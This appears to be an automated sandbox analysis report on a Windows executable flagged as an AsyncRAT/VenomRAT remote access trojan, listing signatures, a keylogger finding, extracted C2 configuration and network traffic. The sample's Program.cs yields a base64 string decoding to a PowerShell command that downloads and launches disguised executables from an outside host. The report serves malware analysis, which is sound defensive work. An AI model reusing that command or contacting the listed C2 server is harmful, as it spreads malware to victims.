Windows Analysis Report
UrfBRh4Hs5.exe

Overview

General Information

Sample name: UrfBRh4Hs5.exe
renamed because original name is a hash value
Original sample name: 629ef96921c67d7102df6138b3085ff4dca0ae1796cc755752bd0ce876b36ac0.exe
Analysis ID: 1447640
MD5: 7e53c0fe2ceecaef94bd317c526d3f09
SHA1: 70fee9a15a7507e6cb723424258755426afe3247
SHA256: 629ef96921c67d7102df6138b3085ff4dca0ae1796cc755752bd0ce876b36ac0
Tags: exevenomrat
Infos:

Detection

AsyncRAT
Score: 92
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected AsyncRAT
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Contains functionality to log keystrokes (.Net Source)
Machine Learning detection for sample
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
AV process strings found (often used to terminate AV products)
Creates a process in suspended mode (likely to inject code)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
PE file does not import any functions
Sample file is different than original file name gathered from version info
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
AsyncRAT AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

AV Detection
barindex
Found malware configuration
Source: UrfBRh4Hs5.exe Malware Configuration Extractor: AsyncRAT {"Ports": ["4449"], "Server": ["94.156.65.172"], "Certificate": "MIICOTCCAaKgAwIBAgIVAPyfwFFMs6hxoSr1U5gHJmBruaj1MA0GCSqGSIb3DQEBDQUAMGoxGDAWBgNVBAMMD1Zlbm9tUkFUIFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjEfMB0GA1UECgwWVmVub21SQVQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTIyMDgxNDA5NDEwOVoXDTMzMDUyMzA5NDEwOVowEzERMA8GA1UEAwwIVmVub21SQVQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJMk9aXYluIabmb8kV7b5XTizjGIK0IH5qWN260bNCSIKNt2zQOLq6jGfh+VvAA/ddzW3TGyxBUMbya8CatcEPCCiU4SEc8xjyE/n8+O0uya4p8g4ooTRIrNFHrRVySKchyTv32rce963WWvmj+qDvwUHHkEY+Dsjf46C40vWLDxAgMBAAGjMjAwMB0GA1UdDgQWBBQsonRhlv8vx7fdxs/nJE8fsLDixjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAAVFFK4iQZ7aqDrUwV6nj3VoXFOcHVo+g9p9ikiXT8DjC2iQioCrN3cN4+w7YOkjPDL+fP3A7v+EI9z1lwEHgAqFPY7tF7sT9JEFtq/+XPM9bgDZnh4o1EWLq7Zdm66whSYsGIPR8wJdtjw6U396lrRHe6ODtIGB/JXyYYIdaVrz", "Server Signature": "kqqmqcHW+lrfDFUM+L+OdEMYusuLLkWntK3q1MWb1AnedZMdr2oAlXEGkreKRl0JNVwhdGMQgoNPJLnKDu9Nux3mwulmhQchyeUxqfxX5H8M87MqPLcXnKblAMoa8m+VyRGCVFn59iBwizEj16DMiLuv1h27Dkx3yjZaVlktefI="}
Multi AV Scanner detection for submitted file
Source: UrfBRh4Hs5.exe ReversingLabs: Detection: 42%
Source: UrfBRh4Hs5.exe Virustotal: Detection: 51% Perma Link
Machine Learning detection for sample
Source: UrfBRh4Hs5.exe Joe Sandbox ML: detected
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=UrfBRh4Hs5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 HTTP Parser: No favicon
Source: unknown HTTPS traffic detected: 20.190.151.9:443 -> 192.168.2.4:57274 version: TLS 1.2
Source: unknown HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.4:57301 version: TLS 1.2
Source: unknown HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.4:57306 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:57338 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:57371 version: TLS 1.2
Source: UrfBRh4Hs5.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 13.107.246.42 13.107.246.42
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.151.9
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: global traffic HTTP traffic detected: GET /scripts/c/ms.jsll-3.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=749eee6039c5489b9db3000c7ab3f399&HASH=749e&LV=202310&V=4&LU=1696413236917; MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
Source: global traffic HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZnpkUBbHvfe2XyP&MD=FmbG9fo3 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZnpkUBbHvfe2XyP&MD=FmbG9fo3 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: chromecache_94.3.dr String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${encodeURIComponent(e)}&text=${encodeURIComponent(aS.replace("{credentialName}",t.title))}" equals www.linkedin.com (Linkedin)
Source: chromecache_94.3.dr String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_94.3.dr String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_94.3.dr String found in binary or memory: </div>`}function mCe(t){return t.authenticationModes?t.authenticationModes.map(e=>e.type).includes("MSA"):!1}function fCe(t){let e=t.authenticationModes.find(o=>o.type==="MSA");return e?e.upn:null}function gCe(t){let e=t.authenticationModes.find(o=>o.type==="AAD");return e?e.upn:null}function hCe(t,e,o){return e??(Qt(t.email)?o:t.email)??""}function Dre(t){let e=mCe(t),o=e?fCe(t):null,n=e?null:gCe(t),r=hCe(t,o,n);return[e,r]}function bCe(t,e){let[o,n]=Dre(e);if(o){let i=t.querySelector("#report-msa-email-account");i.innerText=n}let r=t.querySelector("#opt-into-email-checkbox"),s=t.querySelector("#submitter-info");r.addEventListener("change",()=>{r.checked?s.hidden=!1:s.hidden=!0})}function _Ce(t){if(!t)return;let e=t.querySelector("#select-reason"),o=t.querySelector("#other-reason-textarea-container"),n=o.querySelector("textarea");!e||!o||!n||(e.value==="Other"&&(o.hidden=!1,n.required=!0),e.addEventListener("change",()=>{e.value==="Other"||e.value==="14"?(o.hidden=!1,n.required=!0,n.disabled=!1):(o.hidden=!0,n.required=!1,n.disabled=!0)}))}var Wt;function $re(){let t=document.getElementById("share-to-linkedin-profile");t&&t.addEventListener("click",e=>{let o=e.currentTarget,n=JSON.parse(o.dataset.credential),r=document.createElement("div"),s=vCe(n);S(s,r),Wt=new xe(r),Wt.show();let i=document.getElementById("share-to-feed-button"),a=document.getElementById("linkedin-feed-message"),l=new URL(decodeURI(i.getAttribute("href")));a.onchange=()=>{l.searchParams.set("text",a.value),i.setAttribute("href",l.toString())}})}function vCe(t){let e=encodeURI(`https://${location.host}/api/credentials/share/${_.data.userLocale}/${R.userName}/${t?.credentialId}?sharingId=${R.sharingId}`),o=1035,n=i=>new Date(i).getFullYear(),r=i=>new Date(i).getMonth()+1,s=encodeURI(`https://www.linkedin.com/profile/add?startTask=CERTIFICATION_NAME&name=${t.title}&organizationId=${o}&issueYear=${n(t.awardedOn)}&issueMonth=${r(t.awardedOn)}&expirationYear=${t.expiresOn?n(t.expiresOn):""}&expirationMonth=${t.expiresOn?r(t.expiresOn):""}&certUrl=${e}&certId=${t.credentialId}&skills=${t.skills?`${t.skills.map(i=>encodeURIComponent(i)).join(",")}`:""}`);return m` equals www.linkedin.com (Linkedin)
Source: chromecache_94.3.dr String found in binary or memory: </section>`}function Xne(t=dx,e=xd){return Aa(rH,t,e)}function ere(t=bx,e=gx){return Aa(E2,t,e)}var yA=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(yA||{}),nEe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function hy(t,e,o){let n=encodeURIComponent(e),r=new URL(t);r.hostname="learn.microsoft.com";let s=r.href+=(t.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=R.sharingId?`&sharingId=${R.sharingId}`:"";return Object.values(yA).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let u=encodeURIComponent(s+c+i),d=o?.achievementCopyTitle?.overrideTitle??e,p=encodeURIComponent($9.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${d}`:`"${d}"`)),f={achievementCopy:p,url:u,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_94.3.dr String found in binary or memory: </section>`}function Xne(t=dx,e=xd){return Aa(rH,t,e)}function ere(t=bx,e=gx){return Aa(E2,t,e)}var yA=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(yA||{}),nEe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function hy(t,e,o){let n=encodeURIComponent(e),r=new URL(t);r.hostname="learn.microsoft.com";let s=r.href+=(t.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=R.sharingId?`&sharingId=${R.sharingId}`:"";return Object.values(yA).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let u=encodeURIComponent(s+c+i),d=o?.achievementCopyTitle?.overrideTitle??e,p=encodeURIComponent($9.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${d}`:`"${d}"`)),f={achievementCopy:p,url:u,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_94.3.dr String found in binary or memory: </section>`}function Xne(t=dx,e=xd){return Aa(rH,t,e)}function ere(t=bx,e=gx){return Aa(E2,t,e)}var yA=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(yA||{}),nEe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function hy(t,e,o){let n=encodeURIComponent(e),r=new URL(t);r.hostname="learn.microsoft.com";let s=r.href+=(t.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=R.sharingId?`&sharingId=${R.sharingId}`:"";return Object.values(yA).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let u=encodeURIComponent(s+c+i),d=o?.achievementCopyTitle?.overrideTitle??e,p=encodeURIComponent($9.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${d}`:`"${d}"`)),f={achievementCopy:p,url:u,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)
Source: global traffic DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: mdec.nelreports.net
Source: unknown HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com
Source: chromecache_94.3.dr String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_94.3.dr String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_94.3.dr String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_94.3.dr String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_73.3.dr String found in binary or memory: http://schema.org/Organization
Source: chromecache_73.3.dr String found in binary or memory: https://aka.ms/ContentUserFeedback
Source: chromecache_94.3.dr String found in binary or memory: https://aka.ms/MSBuildChallenge/T1?ocid=build24_csc_learnpromo_T1_cnl
Source: chromecache_94.3.dr String found in binary or memory: https://aka.ms/banner_mslearn_tier1?wt.mc_id=build24_t1_learnpromotion_events
Source: chromecache_94.3.dr String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_73.3.dr, chromecache_99.3.dr String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_94.3.dr String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_73.3.dr String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_73.3.dr String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_73.3.dr String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_94.3.dr String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: chromecache_94.3.dr String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_94.3.dr String found in binary or memory: https://github.com/$
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/Thraka
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/adegeo
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/dotnet/docs/issues
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_94.3.dr String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/gewarren
Source: chromecache_94.3.dr String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_94.3.dr String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/mairaw
Source: chromecache_73.3.dr String found in binary or memory: https://github.com/nschonni
Source: chromecache_73.3.dr String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-3.min.js
Source: chromecache_94.3.dr String found in binary or memory: https://learn-video.azurefd.net/
Source: chromecache_94.3.dr String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_94.3.dr String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_94.3.dr String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2017-0
Source: chromecache_94.3.dr String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_94.3.dr String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_94.3.dr String found in binary or memory: https://schema.org
Source: chromecache_94.3.dr String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_94.3.dr String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: chromecache_94.3.dr String found in binary or memory: https://www.linkedin.com/profile/add?startTask=CERTIFICATION_NAME&name=$
Source: unknown Network traffic detected: HTTP traffic on port 57274 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57275 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57306 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57306
Source: unknown Network traffic detected: HTTP traffic on port 57294 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57293 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57338
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57300
Source: unknown Network traffic detected: HTTP traffic on port 57371 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57301
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57294
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57371
Source: unknown Network traffic detected: HTTP traffic on port 57300 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57274
Source: unknown Network traffic detected: HTTP traffic on port 57301 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57373
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57275
Source: unknown Network traffic detected: HTTP traffic on port 57338 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57293
Source: unknown Network traffic detected: HTTP traffic on port 57373 -> 443
Source: unknown HTTPS traffic detected: 20.190.151.9:443 -> 192.168.2.4:57274 version: TLS 1.2
Source: unknown HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.4:57301 version: TLS 1.2
Source: unknown HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.4:57306 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:57338 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.4:57371 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected AsyncRAT
Source: Yara match File source: UrfBRh4Hs5.exe, type: SAMPLE
Source: Yara match File source: 0.0.UrfBRh4Hs5.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000000.1631606613.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: UrfBRh4Hs5.exe PID: 7052, type: MEMORYSTR
Contains functionality to log keystrokes (.Net Source)
Source: UrfBRh4Hs5.exe, Keylogger.cs .Net Code: KeyboardLayout

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: UrfBRh4Hs5.exe, type: SAMPLE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.0.UrfBRh4Hs5.exe.ea0000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
PE file does not import any functions
Source: UrfBRh4Hs5.exe Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: UrfBRh4Hs5.exe, 00000000.00000000.1631606613.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameClientx64.exe" vs UrfBRh4Hs5.exe
Source: UrfBRh4Hs5.exe Binary or memory string: OriginalFilenameClientx64.exe" vs UrfBRh4Hs5.exe
Yara signature match
Source: UrfBRh4Hs5.exe, type: SAMPLE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.0.UrfBRh4Hs5.exe.ea0000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: UrfBRh4Hs5.exe, Program.cs Base64 encoded string: 'L2MgcG93ZXJzaGVsbCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8veGN1LmV4Z2FtaW5nLmNsaWNrJywgJyVUZW1wJVxcRXhwSW9yZXIuZXhlJykgJiBwb3dlcnNoZWxsIChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly94Y3U1LmV4Z2FtaW5nLmNsaWNrJywgJyVUZW1wJVxcRXhwbElvcmVyLmV4ZScpICYgcG93ZXJzaGVsbCBTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAnJVRlbXAlXFxFeHBJb3Jlci5leGUnICYgcG93ZXJzaGVsbCBTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAnJVRlbXAlXFxFeHBsSW9yZXIuZXhlJyAmIGV4aXQ='
Source: UrfBRh4Hs5.exe, Settings.cs Base64 encoded string: 'jXkAxQKdxWdKf6MulZtlNYU6T4qEdxLMPLu5+y70FwxaPzWHBOZsjaBJqdi8N/R7QrkuvKKrnqzxiMRLwavn3Q==', 'ozEtu3hRDvdntQ14K2rVsFw+W+1ePWsKMq82RBY/lS5QZlGsUkLLNq6N4B85bGE4caoqd/pKC2NTiNKftn85/w==', 'lJWcKE/WisnnPmk/afSaGnNNWfh3Z1YjCbaMyzuNbOE+WU7HqgcR1+ArYpqJRCnepG1be7lg2FIqcKZYCej1yMmak+W9vHZrWTyH9wbaX3JiSbBxIrmOeyHtSIOmoUc1', 'y/3x+hsSnm+9ccbUAPkqO4rO8Ux4onUjfKbe0vO0M8YdZNCXg74/pUCReRIf5KErux32JKbTqEuKL6x1UM4q9g==', 'PcwdjTKFAMgG3RHtaI7nTq63q8Eo8JQXLND55HmnBxDj7yCNlO/tUriInA85OeRIhQX6AJLdBKvLVtbRZKanDwGvA/WyTk/9TuqreAY49jM=', 